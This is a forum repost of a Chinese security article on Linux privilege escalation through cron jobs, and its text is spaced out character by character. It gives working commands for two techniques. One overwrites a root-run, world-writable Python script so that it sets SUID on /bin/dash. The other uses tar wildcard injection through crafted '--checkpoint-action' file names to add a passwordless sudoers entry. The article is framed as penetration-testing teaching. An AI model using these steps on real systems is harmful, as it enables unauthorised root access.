搜索

[12880] 2018-06-28_如何使用CronJobs实现Linux提权

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2018-06-28_如何使用CronJobs实现Linux提权 如 何 使 用 C r o n   J o b s 实 现 L i n u x 提 权 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 6 - 2 8 写 在 前 面 的 话 写 在 前 面 的 话 今 天 给 各 位 渗 透 测 试 同 行 们 提 供 一 种 L i n u x 提 权 方 法 ， 在 这 篇 文 章 中 ， 我 们 将 介 绍 如 何 使 用 C r o n   J o b s 来 实 现 L i n u x 下 的 权 限 提 升 ， 并 获 取 远 程 主 机 的 r o o t 访 问 权 。 C r o n   J o b s 能 做 什 么 ？ 能 做 什 么 ？ C r o n   J o b s 可 以 在 服 务 器 端 完 成 一 系 列 计 划 任 务 （ 设 定 时 间 自 动 执 行 命 令 等 等 ） ， 一 般 它 主 要 用 于 执 行 系 统 管 理 员 任 务 ， 例 如 数 据 备 份 或 清 理 缓 存 目 录 等 等 。 C r o n 这 个 词 来 源 于 “ c r o n t a b ” ， 而 这 个 玩 意 儿 存 在 于 / e t c 目 录 中 。 比 如 说 ， 在 c r o n t a b 中 ， 我 们 添 加 下 列 条 目 来 实 现 每 隔 一 个 小 时 就 自 动 打 印 出 a p a c h e 的 错 误 日 志 “ C r o n t a b 文 件 重 写 文 件 重 写 设 置 简 陋 配 置 的 设 置 简 陋 配 置 的 C r o n 任 务 任 务 目 标 ： 在 c r o n t a b 的 帮 助 下 ， 设 置 一 个 新 的 任 务 来 运 行 目 标 P y t h o n 脚 本 ， 并 清 除 指 定 目 录 中 的 全 部 数 据 。 假 设 目 录 名 称 为 “ c l e a n u p “ ， 它 的 数 据 每 隔 两 分 钟 就 会 被 自 动 清 空 一 次 。 在 开 始 之 前 我 们 需 要 在 / h o m e / c l e a n u p 中 存 储 一 些 数 据 ： 1   0   * *   *   p r i n t f   " "   >   / v a r / l o g / a p a c h e / e r r o r _ l o g m k d i r   c l e a n u p c d   c l e a n u p e c h o   " h e l l o   f r e i n d s "   >   1 . t x t e c h o   " A L L   f i l e s   w i l l   b e   d e l e t e d   i n   2   m i n t s "   >   2 . t x t e c h o   " "   >   1 . p h p e c h o   " "   >   2 . p h p l s
接 下 来 ， 编 写 一 个 P y t h o n 脚 本 来 删 除 / h o m e / c l e a n u p 目 录 中 的 数 据 ， 我 们 需 要 给 这 个 脚 本 完 整 的 r / w / x 权 限 。 切 换 目 录 并 创 建 脚 本 ： 脚 本 代 码 ： 赋 予 权 限 ： 最 后 配 合 c r o n t a b 设 置 计 划 任 务 ， 并 每 隔 两 分 钟 运 行 一 次 c l e a n u p . p y   : c d   / t m p n a n o   c l e a n u p . p y # ! / u s r / b i n / e n v p y t h o n i m p o r t   o s i m p o r t   s y s t r y : o s . s y s t e m ( ' r m   - r   / h o m e / c l e a n u p / *   ' ) e x c e p t : s y s . e x i t ( ) c h m o d   7 7 7   c l e a n u p . p y n a n o   / e t c / c r o n t a b * / 2 *       *   *   *       r o o t         / t m p   / c l e a n u p . p y
验 证 结 果 ： 大 家 可 以 看 到 数 据 每 隔 两 分 钟 就 会 被 清 空 一 次 。 后 渗 透 利 用 后 渗 透 利 用 开 启 你 的 攻 击 设 备 ， 然 后 入 侵 目 标 系 统 ， 接 下 来 直 接 进 到 提 权 步 骤 。 假 设 我 们 已 经 通 过 s s h 成 功 登 录 了 目 标 设 备 ， 并 访 问 了 非 r o o t 用 户 终 端 ， 然 后 执 行 以 下 命 令 ： 我 们 此 时 可 以 发 现 ， c r o n t a b 每 隔 两 分 钟 便 会 运 行 一 次 P y t h o n 脚 本 ， 我 们 待 会 儿 需 要 利 用 这 一 点 。 启 用 / b i n / d a s h 的 S U I D ， 使 用 n a n o 打 开 c l e a n u p . p y   ， 并 将 其 中 的 “ r m   - r   / t m p / * ” 替 换 成 下 列 内 容 ： c d   / h o m e / c l e a n u p l s d a t e l s c a t   / e t c / c r o n t a b l s   - a l   / t m p / c l e a n u p . p y c a t   / t m p / c l e a n u p . p y o s . s y s t e m ( ' c h m o d   u + s   / b i n / d a s h ' )
两 分 钟 之 后 ， 它 将 会 给 / b i n / d a s h 设 置 S U I D 权 限 ， 运 行 之 后 你 就 能 拿 到 r o o t 权 限 了 ： C r o n t a b   T a r 通 配 符 注 入 通 配 符 注 入 环 境 搭 建 环 境 搭 建 目 标 ： 在 c r o n t a b 的 帮 助 下 设 置 一 个 计 划 任 务 ， 备 份 H T M L 目 录 中 的 t a r 文 档 。 注 意 ， 该 目 录 需 要 具 备 可 执 行 权 限 （ x ） 。 然 后 每 隔 一 分 钟 将 / h t m l 目 录 中 的 t a r 文 件 备 份 到 / v a r / b a c k u p s 中 ： 执 行 下 列 命 令 查 看 运 行 结 果 ： / b i n / d a s h i d w h o a m i n a n o   / e t c / c r o n t a b * / 1 *       *   *   *       r o o t   t a r   - z c f   / v a r / b a c k u p s / h t m l . t g z / v a r / w w w / h t m l / *
从 下 图 中 我 们 可 以 看 到 ， 一 分 钟 之 后 h t m l . t g z 文 件 已 经 生 成 了 ： 后 渗 透 利 用 后 渗 透 利 用 开 启 你 的 攻 击 设 备 ， 然 后 入 侵 目 标 系 统 ， 接 下 来 直 接 进 到 提 权 步 骤 。 假 设 我 们 已 经 通 过 s s h 成 功 登 录 了 目 标 设 备 ， 并 访 问 了 非 r o o t 用 户 终 端 。 接 下 来 ， 打 开 c r o n t a b 查 看 计 划 任 务 是 否 已 经 设 置 成 功 ： 执 行 下 列 命 令 来 授 权 s u d o 权 限 ， 并 登 录 用 户 账 号 ， 即 实 现 通 配 符 注 入 ： 一 分 钟 之 后 ， 它 将 会 给 用 户 i g n i t e 赋 予 s u d o 权 限 ： c d   / v a r / b a c k u p l s d a t e c a t   / e t c / c r o n t a b e c h o ' e c h o   " i g n i t e   A L L = ( r o o t )   N O P A S S W D :   A L L "   >   / e t c / s u d o e r s ' > t e s t . s h e c h o " "   >   " - - c h e c k p o i n t - a c t i o n = e x e c = s h   t e s t . s h " e c h o " "   >   - - c h e c k p o i n t = 1 t a r c f   a r c h i v e . t a r   * s u d o   - l s u d o   b a s h w h o a m i
*   参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理